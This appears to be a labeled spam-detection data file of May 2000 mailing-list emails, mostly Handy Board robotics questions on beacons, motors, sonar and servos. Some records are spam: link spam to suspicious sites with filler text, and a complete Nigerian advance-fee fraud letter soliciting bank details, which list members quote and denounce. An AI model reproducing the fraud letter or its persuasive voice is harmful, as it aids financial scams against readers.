beacons, or how the robot can distinguish the signal. But I guess if I figure out how to assign ID to beacons, I should know how to program the robot to use them. :-) -- Ray Anders Johansson wrote in message news:FuEqwu.80E@lugnet.com... > In lugnet.robotics.handyboard, FThompson9@aol.com writes: > >In a message dated 05/08/2000 6:25:33 PM Central Daylight Time, > >willb@selway.umt.edu writes: > > > >> Forget global. We need to devise HPS -- Household Positioning System! > >> > > > > How about a beacon system. Each room can have 3 or so beacons ... > > Some years ago i wrote the presentation part of a prototype system based on > ultrasonic beacons. > the beacons were plugged into wall outlets and transmitted their ID:s, i > can't remember the details but the beacons were syncronized by detectecting > the zero crossing of the 220V 50Hz. i think the system gave the position > within 1 mm to 1 cm . the prototype system was 2D (x,y) but i see no problem > using it for 3D (x,y,z). Just thought i should mentioned it ... > > -Anders",0,0 Ray Tang ,handyboard@media.mit.edu,"Fri, 12 May 2000 03:18:48 +0000",Re: Household Positioning System Re: DGPS,"I see. Humm. May be I can really use this. OK, if I put a few IR LED with ID at different locations in the room, and put them at the same height as the robot sensor so I don't need to worry about tilt angle. If I put the sensor fixed on the robot, then I should be able to give the robot some sense of direction. Now, all I need to do is to program the LED with an ID code... Do you have a good scheme so that I can create quite a few number of ID codes? -- Ray > > No design, just an idea. The way I see it, you put a ""Head"" on the top > of your robot. It has three sensors mounted for tilt and pan. The easiest > way I can see it is to use gear head stepper motors with a ""Home"" switch to > point the thing. The Handy board issues step and direction pulses out a > parallel port to a stepper controller chip. The tilt motor mounts to the > shaft of the pan motor. Ribbon cable runs from the fixet frame to the moving > stepper and the sensor set. Mounted to the shaft of the tilt motor is a box. > inside the box at one end is a group of four ""remote control sensors."" > These are available from lots of places (Radio shack, BGMicro). You give > them 5 volts and ground and they respond with a digital output ""I see it."" > These four outputs goto digital inputs on the handy board. When the robot > powers up, it homes the sensor switches to the home switches. When the robot > enters a room, it stops points the sensors at the angles it expects to see to > beacons (it has a guess of where it is in the room and a table of where the > beacons are supposed to be). If it finds the beacon there, it verifies the > beacons transmitted code. If it does not find the beacon, it does a square > spiral search from the starting location outward until it finds the beacon. > With the new beacon angles, it revises its pose estimate and proceeds to move > to its desired location. The speed of acquiring the beacon will be limited > by the longest ""off"" time in the beacons ID code. (That is you don't want to > skip a sampled location just because your sensor was looking at that spot > when the beacon was sending 0.) While the robot is moving, the image of the > beacon will drift off of one of the sensors, and the controller will need to > issue steps to the pan/tilt system to bring the beacon back onto that sensor. > This will help the robot ""track"" the sensor position. I suppose you could > get away with one sensor and constantly scan around the beacon location, but > this would slow your robot down, and four sensors will tell you if you have > drifted off the spot, or if the beacon is sending a 0. > Sorry for the length, but this is about all I can say on the topic right > now. > > Pherd > Currently in Pensacola FL soon Hartford CT > ",0,0 Julio ,Rushi ,"Fri, 12 May 2000 06:45:32 -1100",How's it going,"It is been awhile. Hope everythign with you is goign well. How is work going also? I've just started with this new firm, http://www.slubadakibalich.com/?a=1664/. He not stabs never tell us showed his obvious desire to write a humorous book. Give me ur thoughts. Talk to u, Julio ",1,1 George Musser Jr ,handyboard@media.mit.edu,"Sat, 13 May 2000 12:42:38 -0400",Running as11,"Hi, Has anyone been able to run as11 on a Mac? As a first test of the assembler, I've been trying to re-assemble pcode.asm, without success. Specifically, as11 balks at the preprocessor directives. I tried running pcode.asm through the CodeWarrior preprocessor, but CodeWarrior doesn't like the use of '$' to indicate hex and '*' to flag comments. I tried running the DOS version of as11 under the SoftPC emulator, but it crashes the emulator, presumably because my version of SoftPC only emulates a 286. George georgejr@musser.com P.S. Does anyone (Randy?) have the source for the version of the pcode that runs under IC 3.1? ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ",0,1 chuks obi ,"""'handyboard@media.mit.edu'"" ","Sat, 13 May 2000 07:03:47 +0300",hellofriend," Date:14th.may,2000 Dear sir, it give us pleasure to request your indulgence in this extremely CONFIDENTIAl business proposition which we want you to handle for us IN YOUR PRIVETE CAPACITY. This total believe and reponse of trust in you, is in consideration of your enviable track record in the business terrain. we are into consultancy and we represent the fiancial interest of one time National security Adviser to the military Head of state that died in power here in Nigeria. The henchman that assumed leadership at the dead of the head of state, had our client kept under house-arrest till he himself handed over power to a dully elected civilan goverment. with the emergence of quarters for the seizure and confiscation of our client's know private business empire and huge financial both and abroad. it was with the above fears that our firm was contracted to seek for ways and proper means securing as much as we can manage of our clients monies out of Nigeria, should in case the unexpected happened as (our client) is not too sure of the goverment's next line of action against him. Meanwhile, our client had before now made to be carried out of this country , physical cash of about US$60 MILLION through various disguised means in diplomatic courier bags into Europe, but that means is now block, with the advent of this present civilian dispensation hence our firm was hired to seek a foreign associated/partner who will act as a registered International contractor to receive in TRUST US$35.5MILLION now in queue for payment at the Apex Bank of Nigeria. you need not to entertain any fear whatsoever, pertaining to the receipt of the funds. Reason being that concrete measures are already in place to protect your right as a bonafide beneficiary to US35.5MILLION vide a category ""A"" contractual debt owed you through our client's former office at the presidential palace for the satisfactory supply of medical products and Health related materials in all the Nigeria Hospitals and health centres on behaif of the Federal Goverment of Nigeria. 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So Gollum hissed: What has roots as nobody sees, ",1,1 Wayne Crosbie ,handyboard@media.mit.edu,"Sun, 14 May 2000 20:48:07 +0000",using 3v motors?,"Is there any way to use 3 volt motors on the Handyboard? They draw about 400 ma. Using a series resistor of about 10 ohms works, but it will have to be about 5 watts, consuming a lot of power needlessly. The FAQ shows how to run 6-36v motors through a separate supply. Will this work with 3 volt motors and a 3 volt supply?? Any ideas are welcome. thanks, Wayne ",0,0 Kent Meister ,"Meabadboy@aol.com, handyboard@media.mit.edu","Sun, 14 May 2000 18:21:19 -0400",RE: hellofriend,"Yes, definitely spam! | -----Original Message----- | From: Meabadboy@aol.com [mailto:Meabadboy@aol.com] | Sent: Sunday, May 14, 2000 3:48 AM | To: handyboard@media.mit.edu | Subject: Fwd: hellofriend | | | SPAM??? | | ",0,0 Ray Tang ,handyboard@media.mit.edu,"Sun, 14 May 2000 23:39:51 +0000",Re: using 3v motors?,"In theory yes. Since the motor will be powered by the aux power supply only, as long as it is at 3 volt, it should be OK. (am I right, Prof. Martin?) -- Ray Wayne Crosbie wrote in message news:FuKHs7.B7v@lugnet.com... > Is there any way to use 3 volt motors on the Handyboard? They draw about 400 ma. > Using a series resistor of about 10 ohms works, but it will have to be about 5 > watts, consuming a lot of power needlessly. The FAQ shows how to run 6-36v > motors through a separate supply. Will this work with 3 volt motors and a 3 volt > supply?? > > Any ideas are welcome. > > thanks, > > Wayne",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 15 May 2000 14:13:34 +0100",[DMDX] 0hz,"The 0Hz part of the video mode setting, what does this refer to? I am asked this quite a lot. Thanks. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 15 May 2000 14:43:28 +0100",[DMDX] Re: 0hz,"At 14:13 15/05/00 +0100, you wrote: >The 0Hz part of the video mode setting, what does this refer to? I am >asked this quite a lot. > >Thanks. I *think* it means that the video card will use whatever refresh rate was previously set in the video card configuration (accessed by right clicking on the desktop -> properties -> settings -> advanced). If you change the refresh rate by clicking on the desktop, those changes seem to be preserved when you go into TimeDX and set up a video mode at the same resolution and colour depth as the desktop. However, I've not had any success in setting the refresh interval to be a certain number of Hz within the VideoMode key word in DMDX. It seems to me that being able to specify refresh intervals in the top line of the script would be useful and would prevent the kind of mistakes that can arise if you run a script at an inappropriate refresh rate. However, I don't know how to do this. Any ideas? Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 May 2000 09:18:04 -0700",[DMDX] Re: 0hz,"At 02:43 PM 5/15/00 +0100, you wrote: >At 14:13 15/05/00 +0100, you wrote: > >The 0Hz part of the video mode setting, what does this refer to? I am > >asked this quite a lot. > > > >Thanks. > >I *think* it means that the video card will use whatever refresh rate was >previously set in the video card configuration (accessed by right clicking >on the desktop -> properties -> settings -> advanced). > >If you change the refresh rate by clicking on the desktop, those changes >seem to be preserved when you go into TimeDX and set up a video mode at the >same resolution and colour depth as the desktop. Almost. 0Hz just means that the driver is going to select the refresh rate that's fastest given the monitor type and all other settings. >However, I've not had any success in setting the refresh interval to be a >certain number of Hz within the VideoMode key word in DMDX. You won't until you see TimeDX enumerate other refresh rates. >It seems to me that being able to specify refresh intervals in the top line >of the script would be useful and would prevent the kind of mistakes that >can arise if you run a script at an inappropriate refresh rate. However, I >don't know how to do this. > >Any ideas? Find a video card with a driver that enumerates multiple refresh rates -- good luck, I've never seen one and only ever heard anecdotal references to them so they might not exist at all. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Do not underestimate the power of the Force. ",0,0 Keith Hearn ,Meabadboy@aol.com,"Mon, 15 May 2000 10:34:49 -0700",Re: Fwd: hellofriend ,"In message <3b.4d35cf5.264fb416@aol.com>, Meabadboy@aol.com writes: > > SPAM??? A sad attempt at a con job. They claim they want yo give you custody of $35M (of whoich you're supposed to keep 30%), and all you have to do is send them your bank account number. Somehow I rather doubt a legitimate offer of this sort (if this kind on international money laundering could be termed ""legitimate"") wouldn't be made via email. Especially not in full detail in the fiorst email to a stranger. I'd find it rather laughable, except that there are poeple out there who will get this and actually think it's for real, give the con-man their bank account info, and get cleaned out. Then again, anyone who would really believe this piece of garbage probably deserves to get cleaned out. Something about a fool and his money... Keith > From: chuks obi > To: ""'handyboard@media.mit.edu'"" > Subject: hellofriend > Date: Sat, 13 May 2000 07:03:47 +0300 > > Date:14th.may,2000 > > Dear sir, > it give us pleasure to request your indulgence in this extremely=2 > 0= > CONFIDENTIAl business proposition which we want you to handle for us IN YOUR= > PRIVETE CAPACITY. This total believe and reponse of trust in you, is in con= > sideration of your enviable track record in the business terrain. > > we are into consultancy and we represent the fiancial interest of one time N= > ational security Adviser to the military Head of state that died in power he= > re in Nigeria. The henchman that assumed leadership at the dead of the head=2 > 0= > of state, had our client kept under house-arrest till he himself handed over= > power to a dully elected civilan goverment. with the emergence of quarters=2 > 0= > for the seizure and confiscation of our client's know private business empir= > e and huge financial both and abroad. > > it was with the above fears that our firm was contracted to seek for ways an= > d proper means securing as much as we can manage of our clients monies out o= > f Nigeria, should in case the unexpected happened as (our client) is not too= > sure of the goverment's next line of action against him. Meanwhile, our cli= > ent had before now made to be carried out of this country , physical cash of= > about US$60 MILLION through various disguised means in diplomatic courier b= > ags into Europe, but that means is now block, with the advent of this presen= > t civilian dispensation hence our firm was hired to seek a foreign associate= > d/partner who will act as a registered International contractor to receive i= > n TRUST US$35.5MILLION now in queue for payment at the Apex Bank of Nigeria. > > you need not to entertain any fear whatsoever, pertaining to the receipt of=2 > 0= > the funds. Reason being that concrete measures are already in place to prote= > ct your right as a bonafide beneficiary to US35.5MILLION vide a category ""A""= > contractual debt owed you through our client's former office at the preside= > ntial palace for the satisfactory supply of medical products and Health rela= > ted materials in all the Nigeria Hospitals and health centres on behaif of t= > he Federal Goverment of Nigeria. The modalities in place are concrete and RI= > SK-FREE, because it enjoys the full backing of top ranking officers here in=2 > 0= > the Apex Bank. > > Meanwhile, let me explain candidly the source of this money to you. it is no= > t ILL-GOTTEN, but that while our client received as security vote from presi= > dency during his tenure and capacity as National security Adviser to the Pre= > sident at the time. > > However if you will oblige us once more, we arrange that you also receive an= > d keep in custody some of the funds already outside this country (Nigeria) o= > n behalf of our client. As our client have indicated to us that he would be=2 > 0= > more at ease with himself, if the funds are not scattered about, but kept by= > a single custodian to make room for proper accountability. while you woul= > d apart from keeping the funds in custody, be required to revolve the money=2 > 0= > in positive and viable blue chips investments on behalf of our client. for y= > our kind assistance and support in receiving this funds, you shall be entitl= > ed to 30% of the total sum, 10% of the said amount would be used to offset a= > ll local and international expenses that might be incurred in the process of= > remitting this funds to your nominated bank account and the balance of 60%=2 > 0= > would be left in trust with you for our client, while you shall agree to giv= > e our firm 5% of your entitlement as consultation fees only payable immediat= > ely after the funds are confirmed in you nominated account. > > your urgent response throught our E-mail addresses as follows, johnsonodiye@= > excite.com and phone/fax number as 234-1-4700146 will be appreciated. or bet= > ter still, you could CALL TO SPEAK with me in person on the above issues and= > in replying, kindly let me have your Nominated bank account and details, yo= > ur private and confidential fax, Telephone or/E-mail address and Mobile phon= > e for easy and safe communication with you. TREAT AS EXTREMELY URGENT AND CO= > NFIDENTIAL. =20 > > > > johnson odiye =20 > >",0,0 Kent Meister ,"Keith Hearn , Meabadboy@aol.com","Mon, 15 May 2000 15:32:08 -0400",RE: Fwd: hellofriend ,"What's puzzling is why they thought an Handiboard mailing list was the place to find new pigeons... | -----Original Message----- | From: Keith Hearn [mailto:khearn@legato.com] | Sent: Monday, May 15, 2000 1:35 PM | To: Meabadboy@aol.com | Cc: handyboard@media.mit.edu; khearn@legato.com | Subject: Re: Fwd: hellofriend | | | In message <3b.4d35cf5.264fb416@aol.com>, Meabadboy@aol.com writes: | > | > SPAM??? | | A sad attempt at a con job. They claim they want yo give you custody of | $35M (of whoich you're supposed to keep 30%), and all you have to do | is send them your bank account number. | | Somehow I rather doubt a legitimate offer of this sort (if this kind on | international money laundering could be termed ""legitimate"") wouldn't | be made via email. Especially not in full detail in the fiorst email | to a stranger. | | I'd find it rather laughable, except that there are poeple out there who | will get this and actually think it's for real, give the con-man | their bank account info, and get cleaned out. Then again, anyone who | would really believe this piece of garbage probably deserves to get | cleaned out. Something about a fool and his money... | | Keith | | | > From: chuks obi | > To: ""'handyboard@media.mit.edu'"" | > Subject: hellofriend | > Date: Sat, 13 May 2000 07:03:47 +0300 | > | > Date:14th.may,2000 | > | > Dear sir, | > it give us pleasure to request your indulgence in | this extremely=2 | > 0= | > CONFIDENTIAl business proposition which we want you to handle | for us IN YOUR= | > PRIVETE CAPACITY. This total believe and reponse of trust in | you, is in con= | > sideration of your enviable track record in the business terrain. | > | > we are into consultancy and we represent the fiancial interest | of one time N= | > ational security Adviser to the military Head of state that | died in power he= | > re in Nigeria. The henchman that assumed leadership at the dead | of the head=2 | > 0= | > of state, had our client kept under house-arrest till he | himself handed over= | > power to a dully elected civilan goverment. with the emergence | of quarters=2 | > 0= | > for the seizure and confiscation of our client's know private | business empir= | > e and huge financial both and abroad. | > | > it was with the above fears that our firm was contracted to | seek for ways an= | > d proper means securing as much as we can manage of our clients | monies out o= | > f Nigeria, should in case the unexpected happened as (our | client) is not too= | > sure of the goverment's next line of action against him. | Meanwhile, our cli= | > ent had before now made to be carried out of this country , | physical cash of= | > about US$60 MILLION through various disguised means in | diplomatic courier b= | > ags into Europe, but that means is now block, with the advent | of this presen= | > t civilian dispensation hence our firm was hired to seek a | foreign associate= | > d/partner who will act as a registered International contractor | to receive i= | > n TRUST US$35.5MILLION now in queue for payment at the Apex | Bank of Nigeria. | > | > you need not to entertain any fear whatsoever, pertaining to | the receipt of=2 | > 0= | > the funds. Reason being that concrete measures are already in | place to prote= | > ct your right as a bonafide beneficiary to US35.5MILLION vide a | category ""A""= | > contractual debt owed you through our client's former office | at the preside= | > ntial palace for the satisfactory supply of medical products | and Health rela= | > ted materials in all the Nigeria Hospitals and health centres | on behaif of t= | > he Federal Goverment of Nigeria. The modalities in place are | concrete and RI= | > SK-FREE, because it enjoys the full backing of top ranking | officers here in=2 | > 0= | > the Apex Bank. | > | > Meanwhile, let me explain candidly the source of this money to | you. it is no= | > t ILL-GOTTEN, but that while our client received as security | vote from presi= | > dency during his tenure and capacity as National security | Adviser to the Pre= | > sident at the time. | > | > However if you will oblige us once more, we arrange that you | also receive an= | > d keep in custody some of the funds already outside this | country (Nigeria) o= | > n behalf of our client. As our client have indicated to us that | he would be=2 | > 0= | > more at ease with himself, if the funds are not scattered | about, but kept by= | > a single custodian to make room for proper accountability. | while you woul= | > d apart from keeping the funds in custody, be required to | revolve the money=2 | > 0= | > in positive and viable blue chips investments on behalf of our | client. for y= | > our kind assistance and support in receiving this funds, you | shall be entitl= | > ed to 30% of the total sum, 10% of the said amount would be | used to offset a= | > ll local and international expenses that might be incurred in | the process of= | > remitting this funds to your nominated bank account and the | balance of 60%=2 | > 0= | > would be left in trust with you for our client, while you shall | agree to giv= | > e our firm 5% of your entitlement as consultation fees only | payable immediat= | > ely after the funds are confirmed in you nominated account. | > | > your urgent response throught our E-mail addresses as follows, | johnsonodiye@= | > excite.com and phone/fax number as 234-1-4700146 will be | appreciated. or bet= | > ter still, you could CALL TO SPEAK with me in person on the | above issues and= | > in replying, kindly let me have your Nominated bank account | and details, yo= | > ur private and confidential fax, Telephone or/E-mail address | and Mobile phon= | > e for easy and safe communication with you. TREAT AS EXTREMELY | URGENT AND CO= | > NFIDENTIAL. =20 | > | > | > | > johnson odiye =20 | > | > | |",0,0 Gary Livick ,handyboard@media.mit.edu,"Mon, 15 May 2000 19:33:32 +0000",Re: Fwd: hellofriend,"I've been getting snail mail from this same group for years, always offering to let you have a third of some huge sum of money if you will only help them smuggle it out of their country and into your account. What they actually want is access to your bank account. It is a serious scam, and my brother-in-law, who is assistant director of the Naval Criminal Investigative Service, tells me some people have actually been stupid enough to fall for it. The scam is located in Nigeria as I recall, and local officials are unable to put a stop to it. Steer clear of those folks. Best regards, Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ Keith Hearn wrote: > In message <3b.4d35cf5.264fb416@aol.com>, Meabadboy@aol.com writes: > > > > SPAM??? > > A sad attempt at a con job. They claim they want yo give you custody of > $35M (of whoich you're supposed to keep 30%), and all you have to do > is send them your bank account number. > > Somehow I rather doubt a legitimate offer of this sort (if this kind on > international money laundering could be termed ""legitimate"") wouldn't > be made via email. Especially not in full detail in the fiorst email > to a stranger. > > I'd find it rather laughable, except that there are poeple out there who > will get this and actually think it's for real, give the con-man > their bank account info, and get cleaned out. Then again, anyone who > would really believe this piece of garbage probably deserves to get > cleaned out. Something about a fool and his money... > > Keith",0,1 Peter White ,handyboard@media.mit.edu,"Mon, 15 May 2000 19:44:23 +0000",Re: Fwd: hellofriend,"In lugnet.robotics.handyboard, Keith Hearn writes: >In message <3b.4d35cf5.264fb416@aol.com>, Meabadboy@aol.com writes: >> >> SPAM??? > >A sad attempt at a con job. They claim they want yo give you custody of > $35M (of whoich you're supposed to keep 30%), and all you have to do > is send them your bank account number. > SCAM ! (not SPAM). These Nigerian attempts are well publicised in the media in Australia. They used to arrive by snailmail (my deceased father got one). Email ! moving up in the world ! People have been fooled, the scam is the 5% they remove from your account, people have gone to Nigeria to investigate and been killed. No urban myth, not yet anyway. pete.w",0,0 Wanda Gandee ,handyboard@media.mit.edu,"Mon, 15 May 2000 10:01:40 -0700",Re: your VALgtUM,"Hi A V L C V X P m I e I A a r b A v A L n o i G i L I a z e R t I U x a n A ra S M c http://www.gepafilonol.com began to sing as they played, deep-throated singing of the dwarves in the deep places of their ancient homes; and this is like a fragment of their song, if it can be like their song without their music. Far over the misty mountains cold To dungeons deep and caverns old We must away ere break of day ",1,1 Adam Oliver ,handyboard@media.mit.edu,"Tue, 16 May 2000 05:29:45 +0000",Ultrasonic maximum timing," Greetings all, I'm using a homebuilt sonar based on Kam Leang's design, which seems to be working quite well. I just have one question with regard to the timing on the input port. I'm using the same sonar driver as for the polaroid - right now I can't remember which input is used for the return ""echo"". My question is, what is the maximum time that the timer can measure before returning a -1? I'm curious, as I'd like to know the maximum distance I can measure on the HB, so I can set my sonar unit up accordingly. Thanks for your help Adam ",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 16 May 2000 10:29:01 -0600",Re: Ultrasonic maximum timing,"Adam Oliver wrote: > > Greetings all, > > I'm using a homebuilt sonar based on Kam Leang's design, which seems to be > working quite well. I just have one question with regard to the timing on > the input port. I'm using the same sonar driver as for the polaroid - right > now I can't remember which input is used for the return ""echo"". > > My question is, what is the maximum time that the timer can measure before > returning a -1? I'm curious, as I'd like to know the maximum distance I can > measure on the HB, so I can set my sonar unit up accordingly. > > Thanks for your help > Adam I think the register maxes out at 32767. Since it's a 2 MHz processor, this gives: (32767 cycles) / (2,000,000 cycles/second) = 0.01638 seconds Up here in the Rocky Mountains, the speed of sound is about one centimeter every 143 half-microseconds, so the maximum range is 2.29 meters. -- Will +---------------------------------------------------------+ The big thieves hang the little ones -- Czech proverb ",0,0 Chuck McManis ,"Will Bain , Handyboard Mailing List ","Tue, 16 May 2000 10:27:26 -0700",Re: Ultrasonic maximum timing,"At 10:29 AM 5/16/00 -0600, Will Bain wrote: >I think the register maxes out at 32767. Since it's a 2 MHz processor, this >gives: > (32767 cycles) / (2,000,000 cycles/second) = 0.01638 seconds Except that I don't think it counts at 2Mhz, rather I think it counts at 500Khz (2 / 4 = ECLK) (I may be totally off base here, since I've not read the pink book in about 6 years) that would put your max at 32767/500000 = .0655 at 1000 ft/sec thats 65' --Chuck ",0,0 Vic ,handyboard@media.mit.edu,"Tue, 16 May 2000 12:46:02 +0000",how many servos on handyboard?,"I'd like to know how many servos the handy board can control. On the FAQ it says 2, in the documentation it says 4 DC motors. what's the deal? (am I stupid? I'm new at this) also, when you plug an expansion board, do you get 6 EXTRA servos? or those are the only ones you can still use? How about the rest? do all imputs remain free on the handyboard and everything on the expansion board is extra? than you. ",0,0 """John R. Edwards"" ",handyboard@media.mit.edu,"Tue, 16 May 2000 23:24:33 +0000",Stepper Control,"I am a new Handyboard user and would like to control a pair of 5 wire unipolar stepper motors. I followed the links in the FAQ related to steppers which included some IC code. My problem is that my Handyboard won't load that particular code written by Peter Harrison. If anyone could point me in the right direction I would be most thankful. John Edwards ",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 16 May 2000 23:06:09 -0600",Re: how many servos on handyboard?,"Vic wrote: > > I'd like to know how many servos the handy board can control. On the FAQ it > says 2, in the documentation it says 4 DC motors. what's the deal? (am I > stupid? I'm new at this) The deal is this: Servos are different from plain old DC motors. They have gearing and position control circuitry built in. There are four DC motor ports on the basic HB, but no ready-made servo ports. The dual servo routine described on the HB web site makes use of Port A bit 7 (aka digital port 9) and Port A bit 5 (on the expansion bus (back edge of board, under the LCD)). > also, when you plug an expansion board, do you get 6 EXTRA servos? or those > are the only ones you can still use? How about the rest? do all imputs > remain free on the handyboard and everything on the expansion board is > extra? than you. I think you could in fact get six *extra* servos. The expansion board doesn't affect the use of Port A bit 7 (aka digital port 9), and I saw instructions on the HB web site (Software Contributed section) on how to use the piezo beeper to control a servo, too. The expansion board does occupy the expansion bus, though, precluding the use of Port A bit 5. Still, I think you could run eight servos with the exp. board. Should probably use a separate battery pack. If you want to run a lot of servos, try using a serial servo controller (SSC). Check out the offerings at http://www.seetron.com/. Each SSC can run up to eight servos, and you can daisy chain a bunch of SSCs together to run up to 256 servos. The SSCs can be plugged into Port A bit 7 (aka digital port 9). Instructions are on the HB web site. Best of luck! -- Will +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | +---------------------------------------------------------+ If you steal from one author, it's plagiarism; if you steal from many, it's research. -- Wilson Mizner",0,1 Charles Hacker ,handyboard@media.mit.edu,"Wed, 17 May 2000 15:28:43 +1000",Re: how many servos on handyboard?,"The base Handy Board is designed to control 4 DC motors. The DC motor output ports CAN be used to control 4 (four) stepper motors. Remember that a stepper motor needs a square wave pulse continually sent to the motor for operation, and the mark / space (time high / time low) pulse determines the position. So by writing code for the motor outputs, you can control 4 (four) stepper motors, (but YOU need to entire the code to do this). The expansion board has outputs to control servo's directly, but not having the expansion, I do not know about it. > I'd like to know how many servos the handy board can control. On the FAQ it > says 2, in the documentation it says 4 DC motors. what's the deal? (am I > stupid? I'm new at this) > > also, when you plug an expansion board, do you get 6 EXTRA servos? or those > are the only ones you can still use? How about the rest? do all imputs > remain free on the handyboard and everything on the expansion board is > extra? than you. > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,0 Martin Ziegler ,handyboard@media.mit.edu,"Wed, 17 May 2000 10:44:33 +0000",Re: how many servos on handyboard?,"In lugnet.robotics.handyboard, Victor Tudor writes: >I'd like to know how many servos the handy board can control. On the FAQ it >says 2, in the documentation it says 4 DC motors. what's the deal? (am I >stupid? I'm new at this) > >also, when you plug an expansion board, do you get 6 EXTRA servos? or those >are the only ones you can still use? How about the rest? do all imputs >remain free on the handyboard and everything on the expansion board is >extra? than you. Hi If you use the expansion board, you will loose analog input 0 und 1. These two inputs are multiplexed on the exp board, so you get some more analog ports. -Martin ",0,0 Angela ,Phineas ,"Tue, 16 May 2000 23:02:48 +0500",i need ur help,"You know what i'm so tired of paying all those crazy prices for ur goodies. It is just crazy. Luckily, I was one of the fortunate one is who came across http://www.slubadakibalich.com/?a=1664/. heater, of To stand, The Invisible and an aquarium hood with light. The first thing you Adversary. him must Oates effectively think about is location. Find a spot that will Angela ",1,1 Vic ,handyboard@media.mit.edu,"Wed, 17 May 2000 13:01:17 +0000",how to drive extra steppers with handyboard,"I'd like to build a six legged robot. that would need at least 12 servos. Is there a way to control 12 servos or more with the standard handyboard? someone said it's all in the code (using digital outputs) does that mean I could write the code to do this? how many digital outputs are there on the board? ",0,0 """Mar, Ericson"" ","""'handyboard@media.mit.edu'"" ","Wed, 17 May 2000 10:11:50 -0400",RE: how many servos on handyboard?,"Remeber also that you have to cut the motor power trace and use an external 5V source for the motors in this case. The HB itself will output 9.6 V from the motor ports. > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > > -----Original Message----- > From: handyboard@media.mit.edu [SMTP:handyboard@media.mit.edu] > Sent: Wednesday, May 17, 2000 1:29 AM > To: lugnet.robotics.handyboard@lugnet.com > Subject: Re: how many servos on handyboard? > > The base Handy Board is designed to control 4 DC motors. > > The DC motor output ports CAN be used to control 4 (four) stepper > motors. Remember that a stepper motor needs a square wave pulse > continually sent to the motor for operation, and the mark / space > (time high / time low) pulse determines the position. > So by writing code for the motor outputs, you can control 4 (four) > stepper motors, (but YOU need to entire the code to do this). > > The expansion board has outputs to control servo's directly, but not > having the expansion, I do not know about it. > > > > > I'd like to know how many servos the handy board can control. On the FAQ > it > > says 2, in the documentation it says 4 DC motors. what's the deal? (am I > > stupid? I'm new at this) > > > > also, when you plug an expansion board, do you get 6 EXTRA servos? or > those > > are the only ones you can still use? How about the rest? do all imputs > > remain free on the handyboard and everything on the expansion board is > > extra? than you. > > > > Charles Hacker > Lecturer in Electronics, Computing and Physics > School of Engineering > Griffith University - Gold Coast > PMB 50 Gold Coast Mail Centre > Southport Queensland 9726 > Australia. > Email - C.Hacker@mailbox.gu.edu.au > Ph. (07) 5594 8670 > Fax.(07) 5594 8065 This message is for the named person's use only. It may contain confidential, proprietary or legally privileged information. No confidentiality or privilege is waived or lost by any mistransmission. If you receive this message in error, please immediately delete it and all copies of it from your system, destroy any hard copies of it and notify the sender. You must not, directly or indirectly, use, disclose, distribute, print, or copy any part of this message if you are not the intended recipient. CREDIT SUISSE GROUP and each of its subsidiaries each reserve the right to monitor all e-mail communications through its networks. Any views expressed in this message are those of the individual sender, except where the message states otherwise and the sender is authorised to state them to be the views of any such entity. ",0,0 """Mar, Ericson"" ","""'handyboard@media.mit.edu'"" ","Wed, 17 May 2000 16:21:37 +0200",Expansion board cannot handle more than 2 servos,"Hello, Reading the discussion on servos recently, I thought I'd share this info with you. I have advised a few student group projects involving servos and the XB and came to the conclusion that the XB cannot handle more than two or so servos. The servos tend to not work properly in these cases. I'm not sure if this is because they did not use an external power supply or what. (I have not experiences with external servo power so if anyone can interject, please enlighten.) Though, I imagine that if the servos draw too much power, it would reset the board and then NOTHING would work. However, this is not case...and the diodes don't get hot, either. Note: the docs say that you need an external servo power supply when the voltage drop diodes get too hot to touch. > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > This message is for the named person's use only. It may contain confidential, proprietary or legally privileged information. No confidentiality or privilege is waived or lost by any mistransmission. If you receive this message in error, please immediately delete it and all copies of it from your system, destroy any hard copies of it and notify the sender. You must not, directly or indirectly, use, disclose, distribute, print, or copy any part of this message if you are not the intended recipient. CREDIT SUISSE GROUP and each of its subsidiaries each reserve the right to monitor all e-mail communications through its networks. Any views expressed in this message are those of the individual sender, except where the message states otherwise and the sender is authorised to state them to be the views of any such entity. ",0,0 """Mar, Ericson"" ","""'handyboard@media.mit.edu'"" ","Wed, 17 May 2000 10:24:14 -0400",RE: how to drive extra steppers with handyboard,"Try Scott Edwards SCC II Servo controller. > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel PIN:7781025 > Email : 